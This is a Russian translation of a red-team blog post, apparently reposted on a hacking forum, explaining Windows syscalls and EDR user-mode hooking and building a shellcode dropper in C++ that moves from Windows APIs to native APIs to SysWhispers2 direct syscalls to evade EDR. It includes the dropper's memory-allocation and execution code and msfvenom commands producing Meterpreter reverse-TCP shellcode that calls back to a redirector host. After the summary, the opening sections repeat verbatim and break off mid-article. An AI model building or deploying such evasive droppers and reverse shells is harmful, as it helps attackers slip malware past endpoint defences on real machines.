Системный вызов — это техническая инструкция в операционной системе Windows, которая позволяет временно перейти из пользовательского режима в режим ядра. Это необходимо, например, когда приложение пользовательского режима, такое как «Блокнот», хочет сохранить документ. Каждый системный вызов имеет определенный идентификатор системного вызова, который может варьироваться от одной версии Windows к другой. Прямые системные вызовы — это метод, с помощью которого злоумышленники (красная команда) выполняют код в контексте API-интерфейсов Windows посредством системных вызовов без того, чтобы целевое приложение (вредоносное ПО) получало API-интерфейсы Windows из Kernel32.dll или собственные API-интерфейсы из Ntdll.dll. Инструкции по ассемблированию, необходимые для переключения из пользовательского режима в режим ядра, встроены непосредственно в вредоносное ПО.
В последние годы все больше и больше поставщиков реализуют технику перехвата пользовательского режима, которая, проще говоря, позволяет EDR перенаправлять код, выполняемый в контексте API-интерфейсов Windows, в собственную библиотеку hooking.dll для анализа. Если выполняемый код не кажется вредоносным для EDR, затронутый системный вызов будет выполнен правильно, в противном случае EDR предотвратит выполнение. Перехват пользовательского режима затрудняет выполнение вредоносного ПО, поэтому злоумышленники (красные команды) используют различные методы, такие как отключение API, прямые системные вызовы или косвенные системные вызовы для обхода EDR.
В этой статье я сосредоточусь на прямом системном вызове и покажем, как шаг за шагом создать дроппер шеллкод прямого системного вызова с помощью Visual Studio на C++. Я начну с дроппера, который использует только API Windows (API высокого уровня). На втором этапе дроппер подвергается первой разработке, и API-интерфейсы Windows заменяются нативными API-интерфейсами (API среднего уровня). И на последнем этапе нативные API заменяются прямыми системными вызовами (API низкого уровня).
Отказ от ответственности
Содержимое и все примеры кода в этой статье предназначены только для исследовательских целей и не должны использоваться в неэтичном контексте! Используемый код не нов и я не претендую на него. Большая часть кода, как это часто бывает, исходит от ired.team, спасибо @spotheplanet за вашу блестящую работу и за то, что поделились ею со всеми нами!
Введение
Сегодня (апрель 2023 г.) техника прямых системных вызовов больше не является новой техникой атаки для Red Teamers. Я сам несколько раз освещал эту тему ( DeepSec Vienna 2020 ) и в Интернете уже есть большое количество хорошо написанных статей и полезных репозиториев кода. Тем не менее, мне бы хотелось вернуться к этой теме и рассмотреть различные аспекты, связанные с прямыми системными вызовами.
В следующих статьях моего блога лично мне важно более подробно рассмотреть тему прямых системных вызовов. В этой статье я покажу, как создать дроппер на C++ в Visual Studio (VS), который не использует Windows API и Native API, а вместо этого использует прямые системные вызовы. Я объясню, что такое прямой системный вызов, чуть позже в этой статье. В качестве отправной точки используется простой дроппер API высокого уровня, который затем шаг за шагом превращается в дроппер прямого системного вызова на основе API низкого уровня. Шаги по разработке системы прямого системного вызова следующие:
Шаг 1. API высокого уровня -> выполнение шеллкода через API Windows.
Шаг 2. API среднего уровня -> выполнение шелл-кода через нативный API.
Шаг 3. API-интерфейсы низкого уровня -> выполнение шелл-кода посредством прямых системных вызовов.
Бонус: шеллкод как ресурс .bin.
Я также объясню, как анализировать и проверять ваши дропперы с помощью таких инструментов, как API Monitor, Dumpbin и x64dbg. Например, я рассмотрю, как убедиться, что дроппер импортирует правильные API Windows или нет, и правильно ли выполняются системные вызовы или из правильного или ожидаемого региона в структуре PE.
Прежде всего, я хотел бы поблагодарить @JFaust за его статью (https://sevrosecurity.com/2020/04/08/process-injection-part-1-createremotethread/), которая очень вдохновила меня на мою статью. Я также хотел бы поблагодарить ребят из Outflank , которые всегда меня вдохновляют и чьи статьи несколько лет назад научили меня тому, как работает Windows и что такое прямые системные вызовы (https://outflank.nl).
Что такое системный вызов?
Прежде чем я расскажу, что такое прямой системный вызов и как он используется злоумышленниками (Red Team), важно в первую очередь прояснить, что такое системный вызов. Технически на уровне ассемблера системный вызов — это инструкция, реализованная в заглушке системного вызова, которая обеспечивает временный переход (переключение ЦП) из пользовательского режима в режим ядра после выполнения кода в пользовательском режиме Windows в контексте соответствующего Windows API. Таким образом, системный вызов формирует интерфейс между процессом в пользовательском режиме и задачей, которая должна быть выполнена в ядре Windows.
Зачем вообще нужны системные вызовы в операционной системе, разделенной на пользовательский режим и режим ядра? Вот некоторые примеры:
- Доступ к оборудованию, такому как сканеры и принтеры.
- Сетевые соединения для отправки и получения пакетов данных
- Чтение и запись файлов
Следующий пример предназначен для иллюстрации того, как системные вызовы работают в ОС Windows. Пользователь хочет сохранить текст или код, написанный в Блокноте, на жесткий диск устройства. Для этого процессу режима пользователя notepad.exe необходим временный доступ к файловой системе и различным драйверам устройств. Однако, поскольку оба этих компонента находятся в ядре Windows, доступ к пользовательскому режиму не является простым. Чтобы решить эту проблему, Windows использует системные вызовы. Это программные инструкции, которые позволяют временно перейти из пользовательского режима в режим ядра для конкретной задачи приложения, например notepad.exe. Каждый системный вызов можно найти по его собственному идентификатору системного вызова, и он связан с определенным собственным API в Windows. Однако идентификатор системного вызова может варьироваться от одной версии Windows к другой.
Обратите внимание, что это очень упрощенное представление того, как работают системные вызовы в Windows. Подробно, операции в пользовательском режиме и режиме ядра намного сложнее. Однако этого объяснения должно быть достаточно, чтобы проиллюстрировать основной принцип. Если вы хотите узнать больше о системных вызовах, я рекомендую вам взглянуть на Внутреннее устройство Windows.
На рисунке выше показан технический принцип системных вызовов на приведенном выше примере с блокнотом. Чтобы выполнить операцию сохранения в контексте пользовательского процесса notepad.exe, на первом этапе он обращается к kernel32.dll и вызывает Windows API WriteFile. На втором этапе kernel32.dll обращается к Kernelbase.dll в контексте того же Windows API. На третьем этапе WriteFile Windows API обращается к Native API NtCreateFile через Ntdll.dll. Native API содержит технические инструкции или заглушку системного вызова для инициации системного вызова путем выполнения идентификатора системного вызова и обеспечивает временный переход (переключение ЦП) из пользовательского режима (кольцо 3) в режим ядра (кольцо 0) после выполнения.
Затем он вызывает диспетчер системных служб, известный как KiSystemCall/KiSystemCall64 в ядре Windows, который отвечает за запрос таблицы дескрипторов системных служб (SSDT) для соответствующего кода функции на основе идентификатора выполненного системного вызова (индексный номер в регистре EAX). После того как диспетчер системных служб и SSDT совместно определили код функции для рассматриваемого системного вызова, задача выполняется в ядре Windows. Спасибо @re_and_more за полезное объяснение диспетчера системных служб.
Проще говоря, системные вызовы необходимы в Windows для выполнения временного перехода (переключения ЦП) из пользовательского режима в режим ядра или для выполнения задач, инициированных в пользовательском режиме, которые требуют временного доступа к режиму ядра, например сохранения файлов, в качестве задачи. в режиме ядра.
Что такое прямой системный вызов?
Это метод, позволяющий злоумышленнику (красной команде) выполнить вредоносный код, например код оболочки, в контексте API-интерфейсов Windows таким образом, что системный вызов не будет получен через ntdll.dll. Вместо этого системный вызов или заглушка системного вызова реализована в самой вредоносной программе, например, в текстовой области в виде ассемблерных инструкций. Отсюда и название «прямые системные вызовы».
Существует несколько способов реализации прямых системных вызовов во вредоносном ПО. В оставшейся части статьи я покажу, как использовать инструмент syswhispers2 для создания необходимых собственных функций API и инструкций ассемблера, а также реализовать их в проекте C++ в Visual Studio как код Microsoft Macro Assembler (masm).
По сравнению с предыдущей иллюстрацией в главе о системных вызовах, следующая иллюстрация показывает принцип прямых системных вызовов в Windows в упрощенном виде. Видно, что процесс пользовательского режима Malware.exe не получает системный вызов для собственного API NtCreateFile через ntdll.dll, как это обычно бывает, а вместо этого реализует необходимые инструкции для системного вызова сам по себе.
Зачем прямые системные вызовы?
Как антивирусные (AV), так и продукты обнаружения и реагирования на конечных точках (EDR) используют разные механизмы защиты от вредоносного ПО. Для динамической проверки потенциально вредоносного кода в контексте API Windows большинство EDR сегодня реализуют принцип перехвата API пользовательского режима. Проще говоря, это метод, при котором код, выполняемый в контексте Windows API, например VirtualAlloc или его собственного API NtAllocateVirtualMemory, намеренно перенаправляется EDR в собственный файл hooking.dll. В Windows среди прочих можно выделить следующие типы перехвата:
- Перехват встроенного API
- Перехват таблицы адресов импорта (IAT)
- Перехват SSDT (ядро Windows)
До появления Kernel Patch Protection (KPP), также известного как Patch Guard, антивирусные продукты могли реализовывать свои перехваты в ядре Windows, например, с помощью перехвата SSDT. Благодаря Patch Guard Microsoft предотвратила это из соображений стабильности операционной системы. Большинство проанализированных мной EDR в основном полагаются на встроенное перехват API. Технически встроенный перехват представляет собой 5-байтовую ассемблерную инструкцию (также называемую прыжком или батутом), которая вызывает перенаправление на EDR hooking.dllдо того, как системный вызов будет выполнен в контексте соответствующего собственного API. Перенаправление назад hooking.dll на системный вызов в ntdll.dll происходит только в том случае, если исполняемый код, проанализированный Hooking.dll, оказался безвредным. В противном случае выполнение соответствующего системного вызова предотвращается компонентом Endpoint Protection (EPP) комбинации EPP/EDR. На следующем рисунке показана упрощенная иллюстрация того, как перехват API пользовательского режима работает с EDR.
Если вы внимательно посмотрите на техническую структуру архитектуры Windows 10, то заметите, что ntdll.dll пользовательского режима представляет собой наименьший общий знаменатель перед переходом на ядро Windows. По этой причине некоторые известные EDR помещают свои встроенные перехватчики в специально выбранные собственные API в ntdll.dll. Хорошо, если это так просто, то EDR может просто подключиться ко всем нативным API и превратить нашу жизнь, Red Team, в ад. К счастью, с точки зрения Red Teamer, это невозможно по соображениям производительности. Проще говоря, перехват API требует ресурсов, времени и т. д., и чем больше EDR замедляет работу ОС, тем хуже для EDR.
В результате EDR обычно перехватывают только избранные API, которые часто используются злоумышленниками в сочетании с вредоносным ПО. К ним относятся собственные API, такие как NtAllocateVirtualMemory и NtWriteVirtualMemory.
Если вы хотите проверить свой собственный EDR, чтобы узнать, перенаправляется ли он или какие API функции перенаправляются на собственный hooking.dll EDR путем встроенного перехвата, вы можете использовать отладчик, такой как WinDbg. Для этого запустите на конечной точке программу с установленным EDR, например блокнот, а затем подключитесь к работающему процессу через WinDbg. Обратите внимание: если вы совершите ту же ошибку, что и я вначале, и загрузите notepad.exe напрямую как изображение в отладчик, вы не обнаружите никаких хуков в API, потому что в этом случае EDR еще не умеет внедрить это Hooking.dll в адресное пространство notepad.exe.
Следующая команда извлекает адрес памяти нужного API, в данном случае адрес собственного API NtAllocateVirtualMemory, который находится в ntdll.dll.
x ntdll!NtAllocateVirtualMemory
Затем адрес памяти можно будет определить на следующем шаге с помощью следующей команды, и вы получите содержимое собственного API NtAllocateVirtualMemory в формате асма.
u 00007ff8`16c4d3b0
На следующем рисунке показано сравнение конечной точки без установленного EDR и без перехватчика и конечной точки с установленным EDR, которая использует встроенное перехват в пользовательском режиме для собственных API в ntdll.dll. На конечной точке с установленным EDR четко видна 5-байтовая инструкция перехода (jmp) Как упоминалось ранее, эта инструкция вызывает перенаправление на EDR hooking.dll перед возвратом к ntdll.dll и выполнением системного вызова.
Если вы хотите быть уверены, что инструкция перехода действительно вызывает перенаправление на EDR hooking.dll, вы можете проверить это, например, с помощью x64dbg. Если вы проследите по адресу инструкции перехода подключенного API, например, NtAllocateVirtualMemoryв памяти (следуйте в дизассемблере), вы увидите перенаправление на файлы hooking.dll. Название hooking.dll намеренно пикселизировано, чтобы невозможно было идентифицировать EDR.
Последствия для Красной команды
С точки зрения красной команды, метод перехвата пользовательского режима приводит к тому, что EDR затрудняет или делает невозможным выполнение вредоносных программ, таких как шелл-код. По этой причине Red Teamer, а также злоумышленники используют различные методы для обхода перехватчиков пользовательского режима EDR. Среди прочего, следующие методы используются индивидуально, а также в сочетании, например, отключение API и прямые системные вызовы.
- API-отключение
- Прямые системные вызовы
- Косвенные системные вызовы
В этой статье я сосредоточусь только на технике прямого системного вызова, т. е. позже я реализую прямые системные вызовы в дроппере, пытаясь таким образом избежать получения соответствующих системных вызовов из ntdll.dll где некоторые EDR размещают свои перехватчики пользовательского режима. Теперь основы прямых системных вызовов и перехватов пользовательского режима должны быть понятны, и можно начинать разработку модуля прямого системного вызова.
Шаг 1. API высокого уровня
На первом этапе я сознательно пока не использую прямые системные вызовы, а начинаю с классической реализации через Windows API, которые получаются через расширение kernel32.dll. POC может быть создан как новый проект C++ (консольное приложение) в VS, и код может быть принят на себя.
Техническая функциональность высокоуровневого API относительно проста и поэтому, на мой взгляд, идеально подходит для постепенного превращения высокоуровневого API-дроппера в дроппер прямого системного вызова. Код работает следующим образом.
Внутри основной функции определена переменная code, отвечающая за хранение шеллкода. Содержимое code хранится в разделе .text (код) структуры PE или, если шеллкод превышает 255 байт, шеллкод хранится в разделе .rdata.
unsigned char code[] = "\xa6\x12\xd9...";
Следующим шагом является определение указателя функции void*, который указывает на переменную exec и сохраняет адрес возврата выделенной памяти с помощью Windows API VirtualAlloc .
void* exec = VirtualAlloc(0, sizeof code, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
Функция memcpy копирует шеллкод из переменной code в выделенную память.
memcpy(exec, code, sizeof code);
И на последнем шаге шеллкод выполняется вызовом указателя функции ((void(*)())exec)().
((void(*)())exec)();
return 0;
Затем можно сгенерировать, например, шеллкод meterpreter и скопировать его в готовый высокоуровневый API-дроппер .
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=External_IPv4_Redirector LPORT=80 -f c
Как упоминалось в начале, в этой статье я шаг за шагом покажу вам, как разработать собственный модуль прямого системного вызова на C++. Я также проведу простой анализ API в контексте разных дропперов (высокого, среднего и низкого) и сравню результаты. Для каждого дроппера я хочу проверить, из какой области PE-структуры вызываются используемые системные вызовы, проверить, кажется ли результат правдоподобным, и еще раз сравнить результаты. Будут использованы следующие инструменты.
API-Монитор -> Анализ API
VS Dumpbin -> Анализ API
x64dbg -> API и анализ системных вызовов
API-Monitor: API высокого уровня
Я использую программу API Monitor, чтобы проверить, какие API и правильные ли API используются в POC высокого уровня. В этом случае я проверяю, что Windows API VirtualAllocбыл импортирован с помощью kernel32.dll. Я также хочу посмотреть, есть ли правильный переход VirtualAlloc от NtAllocateVirutalMemory. Для корректной проверки необходимо фильтровать по правильным API. В контексте дроппера API высокого уровня я фильтрую следующие вызовы API:
- VirtualAlloc
- NtAllocateVirtualMemory
- RtlCopyMemory
- Создать CreateThread
- NtCreateThreadEx
На снимке экрана результата API Monitor показано, что, как и ожидалось, на первом этапе VirtualAlloc вызывается Windows API, а затем соответствующий собственный API вызывается из ntdll.dll через VirtualAlloc. Вы также можете видеть, что собственный API впоследствии был вызван правильно. Результат в API Monitor в целом в порядке.
Dumpbin корзина: API высокого уровня
Инструмент Visual Studio «Dumpbin» можно использовать для проверки того, какие API Windows импортированы через файлы kernel32.dll. Следующую команду можно использовать для проверки импорта.
cd C:\Program Files (x86)\Microsoft Visual Studio\2019\Community
dumpbin /imports high_level.exe
На следующем рисунке показано, что Windows API VirtualAlloc был импортирован правильно.
x64dbg: API высокого уровня
С помощью x64dbg я проверяю, из какой области PE-структуры дроппера API высокого уровня выполняется системный вызов нативного API NtAllocateVirtualMemory. Поскольку в этом дроппере еще не используются прямые системные вызовы, на рисунке показано, что системный вызов корректно выполняется из области .text файла ntdll.dll. Это исследование очень важно, поскольку далее в статье я ожидаю другого результата для POC низкого уровня и хочу сопоставить его.
Шаг 2. API среднего уровня
На этом этапе я сделаю первое расширение дроппера и заменю API-интерфейсы Windows (kernel32.dll) на собственные API (ntdll.dll) в дроппере API высокого уровня. В этом случае изменение относительно простое, поскольку необходимо заменить только Windows API VirtualAlloc на собственный API NtAllocateVirtualMemory . Кроме того, в код добавлены собственные API RtlCopyMemory и NtFreeVirtualMemory .
В отличие от API Windows, большинство Native API официально или частично не документированы Microsoft и поэтому не предназначены для разработчиков ОС Windows. Чтобы использовать собственные API в дроппере среднего уровня, мы должны вручную определить указатели функций для собственных функций API.
typedef NTSTATUS(WINAPI* PNTALLOCATEVIRTUALMEMORY)(
HANDLE ProcessHandle,
PVOID* BaseAddress,
ULONG_PTR ZeroBits,
PSIZE_T RegionSize,
ULONG AllocationType,
ULONG Protect
);
Если вы посмотрите на код дроппера среднего уровня, вы увидите, что импорт фактической функции используемых собственных API-интерфейсов по-прежнему выполняется через файл ntdll.dll.
PNTALLOCATEVIRTUALMEMORY NtAllocateVirtualMemory =
(PNTALLOCATEVIRTUALMEMORY)GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtAllocateVirtualMemory");
Например, если EDR устанавливает только свои перехватчики пользовательского режима в kernel32.dll, дроппера API среднего уровня должно быть достаточно для обхода перехватчиков EDR. Готовый код C++ для дроппера среднего уровня выглядит следующим образом.
API-Monitor: API среднего уровня
В этом случае следует также использовать API Monitor для проверки того, какие API используются дроппером среднего уровня. В этом случае API Monitor будет фильтровать следующие вызовы API:
- VirtualAlloc
- NtAllocateVirtualMemory
- RtlCopyMemory
- Создать CreateThread
- NtCreateThreadEx
- NtFreeVirtualMemory
На следующем рисунке показано, что дроппер среднего уровня больше не импортирует и не использует API-интерфейсы Windows. Другими словами, API-интерфейсы Windows больше не получаются через kernel32.dll.
Dumpbin API среднего уровня
В этом случае я также хотел бы проверить импортированные API-интерфейсы Windows с помощью дампа. Поскольку в этом случае POC среднего уровня получает только собственные API из ntdll.dll, на рисунке показано, что в контексте используемых нами API никакие API Windows не импортируются из kernel32.dll. Этот результат ожидаем и правдоподобен.
x64dbg: API среднего уровня
Поскольку в POC среднего уровня не используются прямые системные вызовы, с помощью x64dbg вы можете видеть, что системный вызов NtAllocateVirtualMemory правильно поступает из области .text файла ntdll.dll.
Шаг 3. API-интерфейсы низкого уровня
Третий шаг — это дальнейшее развитие дроппера среднего уровня в дроппер низкого уровня, т.е. сейчас я создаю настоящий дроппер прямого системного вызова. Спасибо моему приятелю Джонасу за то, что помог мне закончить дроппер низкого уровня.
Как упоминалось ранее, системные вызовы обычно выполняются с использованием собственных API-интерфейсов ntdll.dll. Это означает, что для того, чтобы иметь возможность использовать функции используемых собственных API и связанных с ними системных вызовов без доступа к ntdll.dll, их необходимо реализовать непосредственно в коде дроппера низкого уровня. В этом случае необходимый код реализуется в области .text дроппера низкого уровня.
К счастью, есть гениальные инструменты под названием SysWhispers2 от @Jackson_T который может автоматически генерировать необходимый код.
- syscalls.h
- syscalls.c
- syscallsstubs.std.x64.asm
Следующую команду можно использовать для создания необходимых файлов с помощью SysWhispers2. В этом случае я хочу избежать попадания ненужного кода в дроппер API низкого уровня, поэтому я указываю именно те Native API, которые мне нужны, с помощью параметра -f. В этом случае потребуются следующие собственные API и соответствующие системные вызовы в виде ассемблерного кода:
- NtAllocateVirtualMemory
- NtWriteVirtualMemory
- NtCreateThreadEx
- NtWaitForSingleObject
- NtClose
python syswhispers.py -f NtAllocateVirtualMemory,NtWriteVirtualMemory,NtCreateThreadEx,NtWaitForSingleObject,NtClose -a x64 -l masm --out-file syscalls
Затем файл syscalls.h можно добавить в проект VS в качестве заголовка, syscallsstubs.std.x64.asm (для x64) — в качестве ресурса и syscalls.cфайл — в качестве источника. Чтобы использовать код сборки из файла .asm в VS, опция Microsoft Macro Assembler (.masm) должна быть включена в разделе «Зависимости сборки/Настройки сборки». Дополнительные сведения см. в документации SysWhispers2 .
Кроме того, свойства файла syscallsstubs.std.x64.asm должны быть указаны следующим образом.
В этом случае дропперу также нужен код используемых нативных API и соответствующих системных вызовов, но большая разница по сравнению с дроппером среднего уровня в том, что код больше не делается через ntdll.dll (перехватывается EDR), а интегрируется ntdll.dll прямо в дроппер. Если вы сравните окончательный код дроппера низкого уровня с кодом дроппера среднего уровня, то заметите, что указатели функций на используемые нативные API находятся уже не в основном, а в заголовочном файле syscalls.h. Код, необходимый для функций и системных вызовов, находится в файле syscallsstubs.std.x64.asm.
Если все сделано правильно, дроппер прямых системных вызовов готов и его можно скомпилировать.
API-Monitor: API низкого уровня
Даже после последнего изменения я хочу использовать API Monitor, чтобы проверить, какие API используются низкоуровневым дроппером. В этом случае API Monitor будет фильтровать следующие вызовы API:
- VirtualAlloc
- NtAllocateVirtualMemory
- RtlCopyMemory
- CreateThread
- NtCreateThreadEx
- NtFreeVirtualMemory
На следующем рисунке вы можете видеть, что импорт Native API также выполняется через файл ntdll.dll. ntdll.dll Этот результат мне на данный момент не совсем ясен, потому что с помощью низкоуровневого дроппера я не получаю собственные API через нативный API. В данном случае результат с API Monitor мне не кажется правдоподобным.
Dumpbin: API низкого уровня
Используя dumpbin, я еще раз проверяю, какие API Windows импортируются через файлы kernel32.dll. Опять же, никакие API-интерфейсы Windows не импортируются из собственных API-интерфейсов в контексте. Результат пока в порядке.
x64dbg: API-интерфейсы низкого уровня
Как уже известно, я не вызывал нативные API и соответствующие системные вызовы в низкоуровневом дроппере через ntdll.dll, а реализовал их непосредственно в дроппере. Это можно проверить с помощью x64dbg, просмотрев реализованные функции в low_level.exe. На следующем рисунке показано, что собственный API NtAllocateVirtualMemory реализован правильно.
На рисунке также показано, что syscall инструкция NtAllocateVirtualMemory правильно реализована в дроппере низкого уровня. Для этого я следую собственному API NtAllocateVirtualMemory в дизассемблере («Следовать в дизассемблере»), а затем использую «Следовать по карте памяти», чтобы показать, откуда syscall вызывается оператор. Как и ожидалось, вызов осуществляется из раздела .text PE - структуры low_level.exe ..
Бонусный раздел: Шеллкод как ресурс .bin.
В качестве дополнительной задачи я хочу реализовать, чтобы шелл-код meterpreter в дроппере прямого системного вызова сохранялся не как беззнаковый символ, а как ресурс в виде .bin-файла. Преимущество этого заключается в том, что дроппер также может быть оснащен бесступенчатым шеллкодом. Идея и фрагмент кода для этого не мои, а, как это часто бывает, из статьи ired.team. Я только что интегрировал фрагмент кода в дроппер системных вызовов.
Сначала я создаю бесступенчатую полезную нагрузку meterpreter с помощью msfvenom следующим образом.
msfvenom -p windows/x64/meterpreter_reverse_tcp LHOST=IPv4_redirector LPORT=80 -f raw > /tmp/code.bin
После этого шеллкод можно импортировать в проект VS в формате .bin в качестве ресурса.
Краткое содержание
В следующей статье объясняется, что такое системный вызов, как он работает и для чего он используется в операционной системе Windows. Также было объяснено, что прямые системные вызовы — это метод, с помощью которого злоумышленники могут обойти механизм перехвата API, используемый EDR. Затем была начата разработка системы прямого системного вызова. В качестве основы был создан высокоуровневый API-дроппер с использованием Windows API VirtualAlloc. Затем API-интерфейсы Windows были заменены собственными API-интерфейсами для дальнейшей разработки в дроппер API среднего уровня. Наконец, фактический дроппер системных вызовов был создан путем замены всех собственных API прямыми системными вызовами или путем реализации собственных API и инструкций по сборке для прямых системных вызовов непосредственно в самом дроппере.
Кроме того, каждый дроппер проверялся на правдоподобие с помощью различных инструментов. Например, в случае с дроппером API высокого уровня легко проследился переход от Windows API VirtualAllocк к нативному API NtAllocateVirtualMemoryю Аналогичным образом, с помощью дроппера API среднего уровня API Monitor мог обнаружить, что ни один собственный API не используется правильно. Нечто подобное можно сделать с помощью дампа инструмента Visual Studio, проверив, какие API-интерфейсы Windows загружаются, kernel32.dll в таблицу адресов импорта соответствующего .exe-файла. Например, Windows API VirtualAlloc был правильно импортирован для дроппера высокого уровня, но не для дропперов среднего и низкого уровня.
Анализ дропперов с x64dbg тоже оказался весьма показательным. Например, можно было видеть, что системные вызовы для используемых собственных API были правильно загружены или выполнены из раздела .text ntdll.dll для дропперов высокого и среднего уровня. Для сравнения, для дроппера прямого системного вызова (API низкого уровня) необходимые системные вызовы для используемых собственных API были правильно загружены из раздела .text самого дроппера.
Лично я по-прежнему нахожу тему внутреннего устройства Windows, шелл-кода, вредоносного ПО, EDR и т. д. чрезвычайно интересной, моя страсть к этим темам не ослабевает, и я с нетерпением жду возможности углубиться в следующую тему.
Все примеры кода в этой статье также можно найти в моем аккаунте на Github.
Удачного взлома!
Дэниел Файхтер @VirtualAllocEx
Переведено специально для xss.pro
Автор перевода: yashechka
Источник:
В последние годы все больше и больше поставщиков реализуют технику перехвата пользовательского режима, которая, проще говоря, позволяет EDR перенаправлять код, выполняемый в контексте API-интерфейсов Windows, в собственную библиотеку hooking.dll для анализа. Если выполняемый код не кажется вредоносным для EDR, затронутый системный вызов будет выполнен правильно, в противном случае EDR предотвратит выполнение. Перехват пользовательского режима затрудняет выполнение вредоносного ПО, поэтому злоумышленники (красные команды) используют различные методы, такие как отключение API, прямые системные вызовы или косвенные системные вызовы для обхода EDR.
В этой статье я сосредоточусь на прямом системном вызове и покажем, как шаг за шагом создать дроппер шеллкод прямого системного вызова с помощью Visual Studio на C++. Я начну с дроппера, который использует только API Windows (API высокого уровня). На втором этапе дроппер подвергается первой разработке, и API-интерфейсы Windows заменяются нативными API-интерфейсами (API среднего уровня). И на последнем этапе нативные API заменяются прямыми системными вызовами (API низкого уровня).
Отказ от ответственности
Содержимое и все примеры кода в этой статье предназначены только для исследовательских целей и не должны использоваться в неэтичном контексте! Используемый код не нов и я не претендую на него. Большая часть кода, как это часто бывает, исходит от ired.team, спасибо @spotheplanet за вашу блестящую работу и за то, что поделились ею со всеми нами!
Введение
Сегодня (апрель 2023 г.) техника прямых системных вызовов больше не является новой техникой атаки для Red Teamers. Я сам несколько раз освещал эту тему ( DeepSec Vienna 2020 ) и в Интернете уже есть большое количество хорошо написанных статей и полезных репозиториев кода. Тем не менее, мне бы хотелось вернуться к этой теме и рассмотреть различные аспекты, связанные с прямыми системными вызовами.
В следующих статьях моего блога лично мне важно более подробно рассмотреть тему прямых системных вызовов. В этой статье я покажу, как создать дроппер на C++ в Visual Studio (VS), который не использует Windows API и Native API, а вместо этого использует прямые системные вызовы. Я объясню, что такое прямой системный вызов, чуть позже в этой статье. В качестве отправной точки используется простой дроппер API высокого уровня, который затем шаг за шагом превращается в дроппер прямого системного вызова на основе API низкого уровня. Шаги по разработке системы прямого системного вызова следующие:
Шаг 1. API высокого уровня -> выполнение шеллкода через API Windows.
Шаг 2. API среднего уровня -> выполнение шелл-кода через нативный API.
Шаг 3. API-интерфейсы низкого уровня -> выполнение шелл-кода посредством прямых системных вызовов.
Бонус: шеллкод как ресурс .bin.
Я также объясню, как анализировать и проверять ваши дропперы с помощью таких инструментов, как API Monitor, Dumpbin и x64dbg. Например, я рассмотрю, как убедиться, что дроппер импортирует правильные API Windows или нет, и правильно ли выполняются системные вызовы или из правильного или ожидаемого региона в структуре PE.
Прежде всего, я хотел бы поблагодарить @JFaust за его статью (https://sevrosecurity.com/2020/04/08/process-injection-part-1-createremotethread/), которая очень вдохновила меня на мою статью. Я также хотел бы поблагодарить ребят из Outflank , которые всегда меня вдохновляют и чьи статьи несколько лет назад научили меня тому, как работает Windows и что такое прямые системные вызовы (https://outflank.nl).
Что такое системный вызов?
Прежде чем я расскажу, что такое прямой системный вызов и как он используется злоумышленниками (Red Team), важно в первую очередь прояснить, что такое системный вызов. Технически на уровне ассемблера системный вызов — это инструкция, реализованная в заглушке системного вызова, которая обеспечивает временный переход (переключение ЦП) из пользовательского режима в режим ядра после выполнения кода в пользовательском режиме Windows в контексте соответствующего Windows API. Таким образом, системный вызов формирует интерфейс между процессом в пользовательском режиме и задачей, которая должна быть выполнена в ядре Windows.
Зачем вообще нужны системные вызовы в операционной системе, разделенной на пользовательский режим и режим ядра? Вот некоторые примеры:
- Доступ к оборудованию, такому как сканеры и принтеры.
- Сетевые соединения для отправки и получения пакетов данных
- Чтение и запись файлов
Следующий пример предназначен для иллюстрации того, как системные вызовы работают в ОС Windows. Пользователь хочет сохранить текст или код, написанный в Блокноте, на жесткий диск устройства. Для этого процессу режима пользователя notepad.exe необходим временный доступ к файловой системе и различным драйверам устройств. Однако, поскольку оба этих компонента находятся в ядре Windows, доступ к пользовательскому режиму не является простым. Чтобы решить эту проблему, Windows использует системные вызовы. Это программные инструкции, которые позволяют временно перейти из пользовательского режима в режим ядра для конкретной задачи приложения, например notepad.exe. Каждый системный вызов можно найти по его собственному идентификатору системного вызова, и он связан с определенным собственным API в Windows. Однако идентификатор системного вызова может варьироваться от одной версии Windows к другой.
Обратите внимание, что это очень упрощенное представление того, как работают системные вызовы в Windows. Подробно, операции в пользовательском режиме и режиме ядра намного сложнее. Однако этого объяснения должно быть достаточно, чтобы проиллюстрировать основной принцип. Если вы хотите узнать больше о системных вызовах, я рекомендую вам взглянуть на Внутреннее устройство Windows.
На рисунке выше показан технический принцип системных вызовов на приведенном выше примере с блокнотом. Чтобы выполнить операцию сохранения в контексте пользовательского процесса notepad.exe, на первом этапе он обращается к kernel32.dll и вызывает Windows API WriteFile. На втором этапе kernel32.dll обращается к Kernelbase.dll в контексте того же Windows API. На третьем этапе WriteFile Windows API обращается к Native API NtCreateFile через Ntdll.dll. Native API содержит технические инструкции или заглушку системного вызова для инициации системного вызова путем выполнения идентификатора системного вызова и обеспечивает временный переход (переключение ЦП) из пользовательского режима (кольцо 3) в режим ядра (кольцо 0) после выполнения.
Затем он вызывает диспетчер системных служб, известный как KiSystemCall/KiSystemCall64 в ядре Windows, который отвечает за запрос таблицы дескрипторов системных служб (SSDT) для соответствующего кода функции на основе идентификатора выполненного системного вызова (индексный номер в регистре EAX). После того как диспетчер системных служб и SSDT совместно определили код функции для рассматриваемого системного вызова, задача выполняется в ядре Windows. Спасибо @re_and_more за полезное объяснение диспетчера системных служб.
Проще говоря, системные вызовы необходимы в Windows для выполнения временного перехода (переключения ЦП) из пользовательского режима в режим ядра или для выполнения задач, инициированных в пользовательском режиме, которые требуют временного доступа к режиму ядра, например сохранения файлов, в качестве задачи. в режиме ядра.
Что такое прямой системный вызов?
Это метод, позволяющий злоумышленнику (красной команде) выполнить вредоносный код, например код оболочки, в контексте API-интерфейсов Windows таким образом, что системный вызов не будет получен через ntdll.dll. Вместо этого системный вызов или заглушка системного вызова реализована в самой вредоносной программе, например, в текстовой области в виде ассемблерных инструкций. Отсюда и название «прямые системные вызовы».
Существует несколько способов реализации прямых системных вызовов во вредоносном ПО. В оставшейся части статьи я покажу, как использовать инструмент syswhispers2 для создания необходимых собственных функций API и инструкций ассемблера, а также реализовать их в проекте C++ в Visual Studio как код Microsoft Macro Assembler (masm).
По сравнению с предыдущей иллюстрацией в главе о системных вызовах, следующая иллюстрация показывает принцип прямых системных вызовов в Windows в упрощенном виде. Видно, что процесс пользовательского режима Malware.exe не получает системный вызов для собственного API NtCreateFile через ntdll.dll, как это обычно бывает, а вместо этого реализует необходимые инструкции для системного вызова сам по себе.
Зачем прямые системные вызовы?
